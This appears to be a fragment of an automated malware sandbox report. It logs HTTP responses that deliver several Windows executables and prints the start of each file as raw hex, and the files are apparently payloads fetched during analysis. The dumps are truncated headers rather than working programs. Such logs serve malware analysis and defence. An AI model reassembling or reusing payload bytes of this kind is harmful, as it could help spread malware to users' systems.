a8 04 00 00 10 00 00 00 aa 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b1 29 00 00 00 c0 04 00 00 2a 00 00 00 ae 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 f0 00 00 00 f0 04 00 00 5e 00 00 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 d0 48 00 00 00 f0 05 00 00 4a 00 00 00 36 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:34 GMTContent-Type: application/octet-streamContent-Length: 311296Last-Modified: Sun, 22 Sep 2024 20:59:29 GMTConnection: keep-aliveETag: "66f08531-4c000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 80 b6 e6 ea 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 ec 02 00 00 d0 01 00 00 00 00 00 d6 b9 02 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 b9 02 00 4f 00 00 00 00 20 03 00 c4 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 68 b9 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 bc e9 02 00 00 20 00 00 00 ec 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c4 c9 01 00 00 20 03 00 00 cc 01 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 05 00 00 04 00 00 00 bc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:37 GMTContent-Type: application/octet-streamContent-Length: 986112Last-Modified: Tue, 24 Sep 2024 18:05:31 GMTConnection: keep-aliveETag: "66f2ff6b-f0c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 27 31 f2 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 02 0f 00 00 08 00 00 00 00 00 00 82 21 0f 00 00 20 00 00 00 40 0f 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0f 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 21 0f 00 57 00 00 00 00 40 0f 00 60 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0f 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 88 01 0f 00 00 20 00 00 00 02 0f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 60 05 00 00 00 40 0f 00 00 06 00 00 00 04 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0f 00 00 02 00 00 00 0a 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 21 0f 00 00 00 00 00 48 00 00 00 02 00 05 00 50 d9 0e 00 d8 47 00 00 03 00 00 00 e7 00 00 06 94 55 00 00 bc 83 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 02 03 28 d4 00 00 06 2a 00 00 00 3e 03 02 28 18 00 00 0a 04 6f 56 00 00 06 26 2a 2e 73 0c 00 00 06 80 01 00 00 04 2a 1b 30 04 00 88 01 00 00 01 00 00 11 28 19 00 00 0a d0 05 00 00 02 28 1a 00 00 0a 6f 1b 00 00 0a 33 07 28 07 00 00 06 2d 03 16 6a 2a 7e 01 00 00 04 25 13 0b 28 1c 00 00 0a 7e 01 00 00 04 6f 0d 00 00 06 0c 08 16 6a 40 38 01 00 00 28 1d 00 00 0a 13 08 73 1e 00 00 0a 0b 11 08 6f 1f 00 00 0a 13 07 de 11 26 11 08 6f 20 00 00 0a 73 21 00 00 0a 13 07 de 00 11 07 6f 22 00 00 0a 0d 09 2c 07 09 8e 69 2d 02 14 0d 09 2c 07 07 09 6f 23 00 00 0a 07 28 24 00 00 0a 11 07 6f 25 00 00 0a 6f 26 00 00 0a 6f 23 00 00 0a d0 05 00 00 02 28 1a 00 00 0a 28 09 00 00 06 13 05 28 19 00 00 06 13 06 07 11 05 1e 63 d2 6f 27 00 00 0a 07 11 06 d2 6f 27 00 00 0a 07 11 05 1f 18 63 d2 6f 27 00 00 0a 07 11 06 1e 63 d2 6f 27 00 00 0a 07 11 05 d2 6f 27 00 00 0a 07 11 06 1f 18 63 d2 6f 27 00 00 0a 07 11 05 1f 10 63 d2 6f 27 00 00 0a 07 11 06 1f 10 63 d2 6f 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:40 GMTContent-Type: application/octet-streamContent-Length: 367616Last-Modified: Wed, 25 Sep 2024 17:02:23 GMTConnection: keep-aliveETag: "66f4421f-59c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b1 ea f3 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 92 05 00 00 08 00 00 00 00 00 00 3e b1 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e8 b0 05 00 53 00 00 00 00 c0 05 00 c8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 0c 00 00 00 b0 af 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 91 05 00 00 20 00 00 00 92 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c8 05 00 00 00 c0 05 00 00 06 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 9a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 b1 05 00 00 00 00 00 48 00 00 00 02 00 05 00 c8 9e 05 00 e8 10 00 00 03 00 02 00 10 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5f 84 c5 64 0e 83 9a 4b be 0c f9 53 6b 0c ce 2b 47 ae 7f bf ee 51 8c ae fa 11 9d 1d 88 f7 af 95 1b ca 86 4a 19 6e 6a a4 49 d5 6b ad cb 29 f0 cd 45 26 45 89 38 5f de 62 b0 a3 de 24 10 17 b4 8c ff 09 ec d9 ee df 28 23 3f 6f 38 d0 0a c1 b5 0f 62 9d 39 b0 01 06 e9 7e 56 b5 34 83 99 76 31 d7 75 54 e1 30 da 86 1c 16 1d 5e 2e a0 d3 4c 62 81 a6 cb 0c 87 a8 c0 f8 3b d5 83 8f 0e 35 05 48 19 02 5e 84 31 8f 7c 3c c5 96 a5 60 79 35 34 a7 12 f2 66 e5 7e 0e ef 59 2c cc 53 2c 11 d1 57 70 f2 53 5b 36 83 86 dd 9c 9b 4e 6b fc 45 1e 08 5e d9 12 10 69 26 f8 a3 a4 bf fe 8d f7 10 3f 6f 6e 04 0a 8a 9f 7e 21 10 36 41 bb 01 d2 41 0e c5 96 ef 1d 4a 94 e4 8e 6e db d0 b3 78 0e 54 12 48 ea 61 92 d0 f0 9e b1 c9 ea d2 7a cc 17 08 63 d3 57 d3 85 1b 90 6e a2 67 23 75 a1 3e a3 41 91 da e7 84 36 4b 99 71 63 52 df 39 84 4c 89 da 3b 11 7a d2 73 3c eb ba df a1 92 6a f4 7c 1d 0e 9a 8c 92 0a bd 49 3a b2 77 e0 17 48 24 ed cc f3 90 7a 0f 5d 4d 48 8d 03 43 68 44 8f 79 d2 99 3e e
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:43 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 27 Sep 2024 13:51:59 GMTETag: "1c9e00-6231a28b79a3f"Accept-Ranges: bytesContent-Length: 1875456Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 2f ba f1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 40 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 6b 00 00 04 00 00 4b f9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 